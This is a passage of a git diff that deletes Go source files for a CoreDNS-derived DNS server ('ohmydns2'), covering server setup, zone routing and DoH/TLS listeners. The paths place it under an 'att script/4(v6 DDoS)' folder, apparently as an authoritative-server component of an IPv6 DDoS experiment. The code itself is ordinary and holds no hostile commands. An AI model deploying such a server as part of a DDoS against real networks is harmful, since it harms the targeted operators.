c.registry[d].(Viewer); ok { - if c.ViewName != "" { - return nil, fmt.Errorf("multiple views defined in server block") - } - c.ViewName = vf.ViewName() - c.FilterFuncs = append(c.FilterFuncs, vf.Filter) - } - } - } - - // Verify that there is no overlap on the zones and listen addresses - // for unfiltered server configs - errValid := h.validateZonesAndListeningAddresses() - if errValid != nil { - return nil, errValid - } - - return servers, nil -} - -// AddPlugin adds a plugin to a site's plugin stack. -func (c *Config) AddPlugin(m plugin.Plugin) { - c.Plugin = append(c.Plugin, m) -} - -// registerHandler adds a handler to a site's handler registration. Handlers -// -// use this to announce that they exist to other plugin. -func (c *Config) registerHandler(h plugin.Handler) { - if c.registry == nil { - c.registry = make(map[string]plugin.Handler) - } - - // Just overwrite... - c.registry[h.Name()] = h -} - -// Handler returns the plugin handler that has been added to the config under its name. -// This is useful to inspect if a certain plugin is active in this server. -// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin -// comes before the plugin you are checking; it will not be there (yet). -func (c *Config) Handler(name string) plugin.Handler { - if c.registry == nil { - return nil - } - if h, ok := c.registry[name]; ok { - return h - } - return nil -} - -// Handlers returns a slice of plugins that have been registered. This can be used to -// inspect and interact with registered plugins but cannot be used to remove or add plugins. -// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin -// comes before the plugin you are checking; it will not be there (yet). -func (c *Config) Handlers() []plugin.Handler { - if c.registry == nil { - return nil - } - hs := make([]plugin.Handler, 0, len(c.registry)) - for k := range c.registry { - hs = append(hs, c.registry[k]) - } - return hs -} - -func (h *dnsContext) validateZonesAndListeningAddresses() error { - //Validate Zone and addresses - checker := newOverlapZone() - for _, conf := range h.configs { - for _, h := range conf.ListenHosts { - // Validate the overlapping of ZoneAddr - akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port} - var existZone, overlapZone *zoneAddr - if len(conf.FilterFuncs) > 0 { - // This config has filters. Check for overlap with other (unfiltered) configs. - existZone, overlapZone = checker.check(akey) - } else { - // This config has no filters. Check for overlap with other (unfiltered) configs, - // and register the zone to prevent subsequent zones from overlapping with it. - existZone, overlapZone = checker.registerAndCheck(akey) - } - if existZone != nil { - return fmt.Errorf("cannot serve %s - it is already defined", akey.String()) - } - if overlapZone != nil { - return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String()) - } - } - } - return nil -} - -// groupConfigsByListenAddr groups site configs by their listen -// (bind) address, so sites that use the same listener can be served -// on the same server instance. The return value maps the listen -// address (what you pass into net.Listen) to the list of site configs. -// This function does NOT vet the configs to ensure they are compatible. -func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) { - groups := make(map[string][]*Config) - for _, conf := range configs { - for _, h := range conf.ListenHosts { - addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port)) - if err != nil { - return nil, err - } - addrstr := conf.Transport + "://" + addr.String() - groups[addrstr] = append(groups[addrstr], conf) - } - } - - return groups, nil -} - -// DefaultPort is the default port. -const DefaultPort = transport.Port - -// These "soft defaults" are configurable by -// command line flags, etc. -var ( - // Port is the port we listen on by default. - Port = DefaultPort - - // GracefulTimeout is the maximum duration of a graceful shutdown. - GracefulTimeout time.Duration -) - -var _ caddy.GracefulServer = new(Server) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" deleted file mode 100644 index ad2d991..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" +++ /dev/null @@ -1,456 +0,0 @@ -package dnsserver - -import ( - "context" - "fmt" - "github.com/coredns/caddy" - "github.com/miekg/dns" - ot "github.com/opentracing/opentracing-go" - "net" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/edns" - "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/rcode" - "ohmydns2/plugin/pkg/request" - "ohmydns2/plugin/pkg/reuseport" - "ohmydns2/plugin/pkg/trace" - "ohmydns2/plugin/pkg/transport" - "ohmydns2/plugin/prometheus/vars" - "runtime" - "runtime/debug" - "strings" - "sync" - "time" -) - -// Server represents an instance of a server, which serves -// DNS requests at a particular address (host and port). A -// server is capable of serving numerous zones on -// the same address and the listener may be stopped for -// graceful termination (POSIX only). -type Server struct { - Addr string // Address we listen on - - server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case. - m sync.Mutex // protects the servers - - zones map[string][]*Config // zones keyed by their address - dnsWg sync.WaitGroup // used to wait on outstanding connections - graceTimeout time.Duration // the maximum duration of a graceful shutdown - trace trace.Trace // the trace plugin for the server - debug bool // disable recover() - stacktrace bool // enable stacktrace in recover error log - classChaos bool // allow non-INET class queries - idleTimeout time.Duration // Idle timeout for TCP - readTimeout time.Duration // Read timeout for TCP - writeTimeout time.Duration // Write timeout for TCP - - tsigSecret map[string]string -} - -// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins -type MetadataCollector interface { - Collect(context.Context, request.Request) context.Context -} - -// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class -// queries are blocked unless queries from enableChaos are loaded. -func NewServer(addr string, group []*Config) (*Server, error) { - s := &Server{ - Addr: addr, - zones: make(map[string][]*Config), - graceTimeout: 5 * time.Second, - idleTimeout: 10 * time.Second, - readTimeout: 3 * time.Second, - writeTimeout: 5 * time.Second, - tsigSecret: make(map[string]string), - } - log.Infof("Do53服务启动,监听地址: %v", addr) - - // We have to bound our wg with one increment - // to prevent a "race condition" that is hard-coded - // into sync.WaitGroup.Wait() - basically, an add - // with a positive delta must be guaranteed to - // occur before Wait() is called on the wg. - // In a way, this kind of acts as a safety barrier. - s.dnsWg.Add(1) - - for _, site := range group { - if site.Debug { - s.debug = true - log.D.Set() - } - s.stacktrace = site.Stacktrace - - // append the config to the zone's configs - s.zones[site.Zone] = append(s.zones[site.Zone], site) - - // set timeouts - if site.ReadTimeout != 0 { - s.readTimeout = site.ReadTimeout - } - if site.WriteTimeout != 0 { - s.writeTimeout = site.WriteTimeout - } - if site.IdleTimeout != 0 { - s.idleTimeout = site.IdleTimeout - } - - // copy tsig secrets - for key, secret := range site.TsigSecret { - s.tsigSecret[key] = secret - } - - // compile custom plugin for everything - var stack plugin.Handler - for i := len(site.Plugin) - 1; i >= 0; i-- { - stack = site.Plugin[i](stack) - - // register the *handler* also - site.registerHandler(stack) - - // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin - // list backwards, so the first MetadataCollector plugin wins. - if mdc, ok := stack.(MetadataCollector); ok { - site.metaCollector = mdc - } - - if s.trace == nil && stack.Name() == "trace" { - // we have to stash away the plugin, not the - // Tracer object, because the Tracer won't be initialized yet - if t, ok := stack.(trace.Trace); ok { - s.trace = t - } - } - // Unblock CH class queries when any of these plugins are loaded. - if _, ok := EnableChaos[stack.Name()]; ok { - s.classChaos = true - } - } - site.pluginChain = stack - } - - if !s.debug { - // When reloading we need to explicitly disable debug logging if it is now disabled. - log.D.Clear() - } - - return s, nil -} - -// Compile-time check to ensure Server implements the caddy.GracefulServer interface -var _ caddy.GracefulServer = &Server{} - -// Serve starts the server with an existing listener. It blocks until the server stops. -// This implements caddy.TCPServer interface. -func (s *Server) Serve(l net.Listener) error { - s.m.Lock() - - s.server[tcp] = &dns.Server{Listener: l, - Net: "tcp", - TsigSecret: s.tsigSecret, - MaxTCPQueries: tcpMaxQueries, - ReadTimeout: s.readTimeout, - WriteTimeout: s.writeTimeout, - IdleTimeout: func() time.Duration { - return s.idleTimeout - }, - Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { - ctx := context.WithValue(context.Background(), Key{}, s) - ctx = context.WithValue(ctx, LoopKey{}, 0) - s.ServeDNS(ctx, w, r) - })} - - s.m.Unlock() - - return s.server[tcp].ActivateAndServe() -} - -// ServePacket starts the server with an existing packetconn. It blocks until the server stops. -// This implements caddy.UDPServer interface. -func (s *Server) ServePacket(p net.PacketConn) error { - s.m.Lock() - s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { - ctx := context.WithValue(context.Background(), Key{}, s) - ctx = context.WithValue(ctx, LoopKey{}, 0) - s.ServeDNS(ctx, w, r) - }), TsigSecret: s.tsigSecret} - s.m.Unlock() - - return s.server[udp].ActivateAndServe() -} - -// Listen implements caddy.TCPServer interface. -func (s *Server) Listen() (net.Listener, error) { - l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):]) - if err != nil { - return nil, err - } - return l, nil -} - -// WrapListener Listen implements caddy.GracefulServer interface. -func (s *Server) WrapListener(ln net.Listener) net.Listener { - return ln -} - -// ListenPacket implements caddy.UDPServer interface. -func (s *Server) ListenPacket() (net.PacketConn, error) { - p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):]) - if err != nil { - return nil, err - } - - return p, nil -} - -// Stop stops the server. It blocks until the server is -// totally stopped. On POSIX systems, it will wait for -// connections to close (up to a max timeout of a few -// seconds); on Windows it will close the listener -// immediately. -// This implements Caddy.Stopper interface. -func (s *Server) Stop() (err error) { - if runtime.GOOS != "windows" { - // force connections to close after timeout - done := make(chan struct{}) - go func() { - s.dnsWg.Done() // decrement our initial increment used as a barrier - s.dnsWg.Wait() - close(done) - }() - - // Wait for remaining connections to finish or - // force them all to close after timeout - select { - case <-time.After(s.graceTimeout): - case <-done: - } - } - - // Close the listener now; this stops the server without delay - s.m.Lock() - for _, s1 := range s.server { - // We might not have started and initialized the full set of servers - if s1 != nil { - err = s1.Shutdown() - } - } - s.m.Unlock() - return -} - -// Address together with Stop() implement caddy.GracefulServer. -func (s *Server) Address() string { return s.Addr } - -// ServeDNS is the entry point for every request to the address that -// is bound to. It acts as a multiplexer for the requests zonename as -// defined in the request so that the correct zone -// (configuration and plugin stack) will handle the request. -func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) { - // The default dns.Mux checks the question section size, but we have our - // own mux here. Check if we have a question section. If not drop them here. - if r == nil || len(r.Question) == 0 { - errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure) - return - } - - if !s.debug { - defer func() { - // In case the user doesn't enable error plugin, we still - // need to make sure that we stay alive up here - if rec := recover(); rec != nil { - if s.stacktrace { - log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack())) - } else { - log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec) - } - vars.Panic.Inc() - errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure) - } - }() - } - - if !s.classChaos && r.Question[0].Qclass != dns.ClassINET { - errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) - return - } - - if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once. - w.WriteMsg(m) - return - } - - // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer. - w = request.NewScrubWriter(r, w) - - q := strings.ToLower(r.Question[0].Name) - var ( - off int - end bool - dshandler *Config - ) - - for { - if z, ok := s.zones[q[off:]]; ok { - for _, h := range z { - if h.pluginChain == nil { // zone defined, but has not got any plugins - errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) - return - } - - if h.metaCollector != nil { - // Collect metadata now, so it can be used before we send a request down the plugin chain. - ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w}) - } - - // If all filter funcs pass, use this config. - if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) { - if h.ViewName != "" { - // if there was a view defined for this Config, set the view name in the context - ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) - } - if r.Question[0].Qtype != dns.TypeDS { - rcode, _ := h.pluginChain.ServeDNS(ctx, w, r) - if !plugin.ClientWrite(rcode) { - errorFunc(s.Addr, w, r, rcode) - } - return - } - // The type is DS, keep the handler, but keep on searching as maybe we are serving - // the parent as well and the DS should be routed to it - this will probably *misroute* DS - // queries to a possibly grand parent, but there is no way for us to know at this point - // if there is an actual delegation from grandparent -> parent -> zone. - // In all fairness: direct DS queries should not be needed. - dshandler = h - } - } - } - off, end = dns.NextLabel(q, off) - if end { - break - } - } - - if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil { - // DS request, and we found a zone, use the handler for the query. - rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r) - if !plugin.ClientWrite(rcode) { - errorFunc(s.Addr, w, r, rcode) - } - return - } - - // Wildcard match, if we have found nothing try the root zone as a last resort. - if z, ok := s.zones["."]; ok { - for _, h := range z { - if h.pluginChain == nil { - continue - } - - if h.metaCollector != nil { - // Collect metadata now, so it can be used before we send a request down the plugin chain. - ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w}) - } - - // If all filter funcs pass, use this config. - if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) { - if h.ViewName != "" { - // if there was a view defined for this Config, set the view name in the context - ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) - } - rcode, _ := h.pluginChain.ServeDNS(ctx, w, r) - if !plugin.ClientWrite(rcode) { - errorFunc(s.Addr, w, r, rcode) - } - return - } - } - } - - // Still here? Error out with REFUSED. - errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) -} - -// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request -func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool { - for _, ff := range filterFuncs { - if !ff(ctx, req) { - return false - } - } - return true -} - -// OnStartupComplete lists the sites served by this server -// and any relevant information, assuming Quiet is false. -func (s *Server) OnStartupComplete() { - if Quiet { - return - } - - out := startUpZones("", s.Addr, s.zones) - if out != "" { - fmt.Print(out) - } -} - -// Tracer returns the tracer in the server if defined. -func (s *Server) Tracer() ot.Tracer { - if s.trace == nil { - return nil - } - - return s.trace.Tracer() -} - -// errorFunc responds to an DNS request with an error. -func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) { - state := request.Request{W: w, Req: r} - - answer := new(dns.Msg) - answer.SetRcode(r, rc) - state.SizeAndDo(answer) - - w.WriteMsg(answer) -} - -func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) { - state := request.Request{W: w, Req: r} - - answer := new(dns.Msg) - answer.SetRcode(r, rc) - state.SizeAndDo(answer) - - vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now()) - - w.WriteMsg(answer) -} - -const ( - tcp = 0 - udp = 1 - - tcpMaxQueries = -1 -) - -type ( - // Key is the context key for the current server added to the context. - Key struct{} - - // LoopKey is the context key to detect server wide loops. - LoopKey struct{} - - // ViewKey is the context key for the current view, if defined - ViewKey struct{} -) - -// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default. -var EnableChaos = map[string]struct{}{ - "chaos": {}, - "forward": {}, - "proxy": {}, -} - -// Quiet mode will not show any informative output on initialization. -var Quiet bool diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" deleted file mode 100644 index ce0a380..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" +++ /dev/null @@ -1,180 +0,0 @@ -package dnsserver - -//暂不启用 -// -//import ( -// "crypto/tls" -// "errors" -// "fmt" -// "net" -// "ohmydns2/plugin/pkg/reuseport" -// "ohmydns2/plugin/pkg/transport" -// -// "github.com/coredns/caddy" -// "github.com/miekg/dns" -// "github.com/opentracing/opentracing-go" -//) -// -//// ServergRPC represents an instance of a DNS-over-gRPC server. -//type ServergRPC struct { -// *Server -// *pb.UnimplementedDnsServiceServer -// grpcServer *grpc.Server -// listenAddr net.Addr -// tlsConfig *tls.Config -//} -// -//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it. -//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) { -// s, err := NewServer(addr, group) -// if err != nil { -// return nil, err -// } -// // The *tls* plugin must make sure that multiple conflicting -// // TLS configuration returns an error: it can only be specified once. -// var tlsConfig *tls.Config -// for _, z := range s.zones { -// for _, conf := range z { -// // Should we error if some configs *don't* have TLS? -// tlsConfig = conf.TLSConfig -// } -// } -// // http/2 is required when using gRPC. We need to specify it in next protos -// // or the upgrade won't happen. -// if tlsConfig != nil { -// tlsConfig.NextProtos = []string{"h2"} -// } -// -// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil -//} -// -//// Compile-time check to ensure Server implements the caddy.GracefulServer interface -//var _ caddy.GracefulServer = &Server{} -// -//// Serve implements caddy.TCPServer interface. -//func (s *ServergRPC) Serve(l net.Listener) error { -// s.m.Lock() -// s.listenAddr = l.Addr() -// s.m.Unlock() -// -// if s.Tracer() != nil { -// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool { -// return parentSpanCtx != nil -// } -// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent)) -// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept)) -// } else { -// s.grpcServer = grpc.NewServer() -// } -// -// pb.RegisterDnsServiceServer(s.grpcServer, s) -// -// if s.tlsConfig != nil { -// l = tls.NewListener(l, s.tlsConfig) -// } -// return s.grpcServer.Serve(l) -//} -// -//// ServePacket implements caddy.UDPServer interface. -//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil } -// -//// Listen implements caddy.TCPServer interface. -//func (s *ServergRPC) Listen() (net.Listener, error) { -// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):]) -// if err != nil { -// return nil, err -// } -// return l, nil -//} -// -//// ListenPacket implements caddy.UDPServer interface. -//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil } -// -//// OnStartupComplete lists the sites served by this server -//// and any relevant information, assuming Quiet is false. -//func (s *ServergRPC) OnStartupComplete() { -// if Quiet { -// return -// } -// -// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones) -// if out != "" { -// fmt.Print(out) -// } -//} -// -//// Stop stops the server. It blocks until the server is -//// totally stopped. -//func (s *ServergRPC) Stop() (err error) { -// s.m.Lock() -// defer s.m.Unlock() -// if s.grpcServer != nil { -// s.grpcServer.GracefulStop() -// } -// return -//} -// -//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like -//// any normal server. We use a custom responseWriter to pick up the bytes we need to write -//// back to the client as a protobuf. -//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) { -// msg := new(dns.Msg) -// err := msg.Unpack(in.Msg) -// if err != nil { -// return nil, err -// } -// -// p, ok := peer.FromContext(ctx) -// if !ok { -// return nil, errors.New("no peer in gRPC context") -// } -// -// a, ok := p.Addr.(*net.TCPAddr) -// if !ok { -// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr) -// } -// -// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg} -// -// dnsCtx := context.WithValue(ctx, Key{}, s.Server) -// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0) -// s.ServeDNS(dnsCtx, w, msg) -// -// packed, err := w.Msg.Pack() -// if err != nil { -// return nil, err -// } -// -// return &pb.DnsPacket{Msg: packed}, nil -//} -// -//// Shutdown stops the server (non gracefully). -//func (s *ServergRPC) Shutdown() error { -// if s.grpcServer != nil { -// s.grpcServer.Stop() -// } -// return nil -//} -// -//type gRPCresponse struct { -// localAddr net.Addr -// remoteAddr net.Addr -// Msg *dns.Msg -//} -// -//// Write is the hack that makes this work. It does not actually write the message -//// but returns the bytes we need to write in r. We can then pick this up in Query -//// and write a proper protobuf back to the client. -//func (r *gRPCresponse) Write(b []byte) (int, error) { -// r.Msg = new(dns.Msg) -// return len(b), r.Msg.Unpack(b) -//} -// -//// These methods implement the dns.ResponseWriter interface from Go DNS. -//func (r *gRPCresponse) Close() error { return nil } -//func (r *gRPCresponse) TsigStatus() error { return nil } -//func (r *gRPCresponse) TsigTimersOnly(b bool) {} -//func (r *gRPCresponse) Hijack() {} -//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr } -//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr } -//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil } diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" deleted file mode 100644 index ca440b9..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" +++ /dev/null @@ -1,209 +0,0 @@ -package dnsserver - -import ( - "context" - "crypto/tls" - "fmt" - stdlog "log" - "net" - "net/http" - "ohmydns2/plugin/pkg/dnsutil" - "ohmydns2/plugin/pkg/doh" - olog "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/response" - "ohmydns2/plugin/pkg/reuseport" - "ohmydns2/plugin/pkg/transport" - "ohmydns2/plugin/prometheus/vars" - "strconv" - "time" - - "github.com/coredns/caddy" -) - -// ServerHTTPS represents an instance of a DNS-over-HTTPS server. -type ServerHTTPS struct { - *Server - httpsServer *http.Server - listenAddr net.Addr - tlsConfig *tls.Config - validRequest func(*http.Request) bool -} - -// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server -type loggerAdapter struct { -} - -func (l *loggerAdapter) Write(p []byte) (n int, err error) { - olog.Debug(string(p)) - return len(p), nil -} - -// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH) -type HTTPRequestKey struct{} - -// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it. -func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) { - s, err := NewServer(addr, group) - if err != nil { - return nil, err - } - // The *tls* plugin must make sure that multiple conflicting - // TLS configuration returns an error: it can only be specified once. - var tlsConfig *tls.Config - for _, z := range s.zones { - for _, conf := range z { - // Should we error if some configs *don't* have TLS? - tlsConfig = conf.TLSConfig - } - } - - // http/2 is recommended when using DoH. We need to specify it in next protos - // or the upgrade won't happen. - if tlsConfig != nil { - tlsConfig.NextProtos = []string{"h2", "http/1.1"} - } - - // Use a custom request validation func or use the standard DoH path check. - var validator func(*http.Request) bool - for _, z := range s.zones { - for _, conf := range z { - validator = conf.HTTPRequestValidateFunc - } - } - if validator == nil { - validator = func(r *http.Request) bool { return r.URL.Path == doh.Path } - } - - srv := &http.Server{ - ReadTimeout: s.readTimeout, - WriteTimeout: s.writeTimeout, - IdleTimeout: s.idleTimeout, - ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), - } - sh := &ServerHTTPS{ - Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator, - } - sh.httpsServer.Handler = sh - - return sh, nil -} - -// Compile-time check to ensure Server implements the caddy.GracefulServer interface -var _ caddy.GracefulServer = &Server{} - -// Serve implements caddy.TCPServer interface. -func (s *ServerHTTPS) Serve(l net.Listener) error { - s.m.Lock() - s.listenAddr = l.Addr() - s.m.Unlock() - - if s.tlsConfig != nil { - l = tls.NewListener(l, s.tlsConfig) - } - return s.httpsServer.Serve(l) -} - -// ServePacket implements caddy.UDPServer interface. -func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil } - -// Listen implements caddy.TCPServer interface. -func (s *ServerHTTPS) Listen() (net.Listener, error) { - l, err := reuseport.Listen("tcp", s.Addr[len(transport.HTTPS+"://"):]) - if err != nil { - return nil, err - } - return l, nil -} - -// ListenPacket implements caddy.UDPServer interface. -func (s *ServerHTTPS) ListenPacket() (net.PacketConn, error) { return nil, nil } - -// OnStartupComplete lists the sites served by this server -// and any relevant information, assuming Quiet is false. -func (s *ServerHTTPS) OnStartupComplete() { - if Quiet { - return - } - - out := startUpZones(transport.HTTPS+"://", s.Addr, s.zones) - if out != "" { - fmt.Print(out) - } -} - -// Stop stops the server. It blocks until the server is totally stopped. -func (s *ServerHTTPS) Stop() error { - s.m.Lock() - defer s.m.Unlock() - if s.httpsServer != nil { - s.httpsServer.Shutdown(context.Background()) - } - return nil -} - -// ServeHTTP is the handler that gets the HTTP request and converts to the dns format, calls the plugin -// chain, converts it back and write it to the client. -func (s *ServerHTTPS) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if !s.validRequest(r) { - http.Error(w, "", http.StatusNotFound) - s.countResponse(http.StatusNotFound) - return - } - - msg, err := doh.RequestToMsg(r) - if err != nil { - http.Error(w, err.Error(), http.StatusBadRequest) - s.countResponse(http.StatusBadRequest) - return - } - - // Create a DoHWriter with the correct addresses in it. - h, p, _ := net.SplitHostPort(r.RemoteAddr) - port, _ := strconv.Atoi(p) - dw := &DoHWriter{ - laddr: s.listenAddr, - raddr: &net.TCPAddr{IP: net.ParseIP(h), Port: port}, - request: r, - } - - // We just call the normal chain handler - all error handling is done there. - // We should expect a packet to be returned that we can send to the client. - ctx := context.WithValue(context.Background(), Key{}, s.Server) - ctx = context.WithValue(ctx, LoopKey{}, 0) - ctx = context.WithValue(ctx, HTTPRequestKey{}, r) - s.ServeDNS(ctx, dw, msg) - - // See section 4.2.1 of RFC 8484. - // We are using code 500 to indicate an unexpected situation when the chain - // handler has not provided any response message. - if dw.Msg == nil { - http.Error(w, "No response", http.StatusInternalServerError) - s.countResponse(http.StatusInternalServerError) - return - } - - buf, _ := dw.Msg.Pack() - - mt, _ := response.Typify(dw.Msg, time.Now().UTC()) - age := dnsutil.MinimalTTL(dw.Msg, mt) - - w.Header().Set("Content-Type", doh.MimeType) - w.Header().Set("Cache-Control", fmt.Sprintf("max-age=%f", age.Seconds())) - w.Header().Set("Content-Length", strconv.Itoa(len(buf))) - w.WriteHeader(http.StatusOK) - s.countResponse(http.StatusOK) - - w.Write(buf) -} - -func (s *ServerHTTPS) countResponse(status int) { - vars.HTTPSResponsesCount.WithLabelValues(s.Addr, strconv.Itoa(status)).Inc() -} - -// Shutdown stops the server (non gracefully). -func (s *ServerHTTPS) Shutdown() error { - if s.httpsServer != nil { - s.httpsServer.Shutdown(context.Background()) - } - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" deleted file mode 100644 index 75a8dbe..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_tls.go" +++ /dev/null @@ -1,102 +0,0 @@ -package dnsserver - -import ( - "context" - "crypto/tls" - "fmt" - "net" - "ohmydns2/plugin/pkg/reuseport" - "ohmydns2/plugin/pkg/transport" - "time" - - "github.com/coredns/caddy" - "github.com/miekg/dns" -) - -// ServerTLS represents an instance of a TLS-over-DNS-server. -type ServerTLS struct { - *Server - tlsConfig *tls.Config -} - -// NewServerTLS returns a new CoreDNS TLS server and compiles all plugin in to it. -func NewServerTLS(addr string, group []*Config) (*ServerTLS, error) { - s, err := NewServer(addr, group) - if err != nil { - return nil, err - } - // The *tls* plugin must make sure that multiple conflicting - // TLS configuration returns an error: it can only be specified once. - var tlsConfig *tls.Config - for _, z := range s.zones { - for _, conf := range z { - // Should we error if some configs *don't* have TLS? - tlsConfig = conf.TLSConfig - } - } - - return &ServerTLS{Server: s, tlsConfig: tlsConfig}, nil -} - -// Compile-time check to ensure Server implements the caddy.GracefulServer interface -var _ caddy.GracefulServer = &Server{} - -// Serve implements caddy.TCPServer interface. -func (s *ServerTLS) Serve(l net.Listener) error { - s.m.Lock() - - if s.tlsConfig != nil { - l = tls.NewListener(l, s.tlsConfig) - } - - // Only fill out the TCP server for this one. - s.server[tcp] = &dns.Server{Listener: l, - Net: "tcp-tls", - MaxTCPQueries: tlsMaxQueries, - ReadTimeout: s.readTimeout, - WriteTimeout: s.writeTimeout, - IdleTimeout: func() time.Duration { - return s.idleTimeout - }, - Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { - ctx := context.WithValue(context.Background(), Key{}, s.Server) - ctx = context.WithValue(ctx, LoopKey{}, 0) - s.ServeDNS(ctx, w, r) - })} - - s.m.Unlock() - - return s.server[tcp].ActivateAndServe() -} - -// ServePacket implements caddy.UDPServer interface. -func (s *ServerTLS) ServePacket(p net.PacketConn) error { return nil } - -// Listen implements caddy.TCPServer interface. -func (s *ServerTLS) Listen() (net.Listener, error) { - l, err := reuseport.Listen("tcp", s.Addr[len(transport.TLS+"://"):]) - if err != nil { - return nil, err - } - return l, nil -} - -// ListenPacket implements caddy.UDPServer interface. -func (s *ServerTLS) ListenPacket() (net.PacketConn, error) { return nil, nil } - -// OnStartupComplete lists the sites served by this server -// and any relevant information, assuming Quiet is false. -func (s *ServerTLS) OnStartupComplete() { - if Quiet { - return - } - - out := startUpZones(transport.TLS+"://", 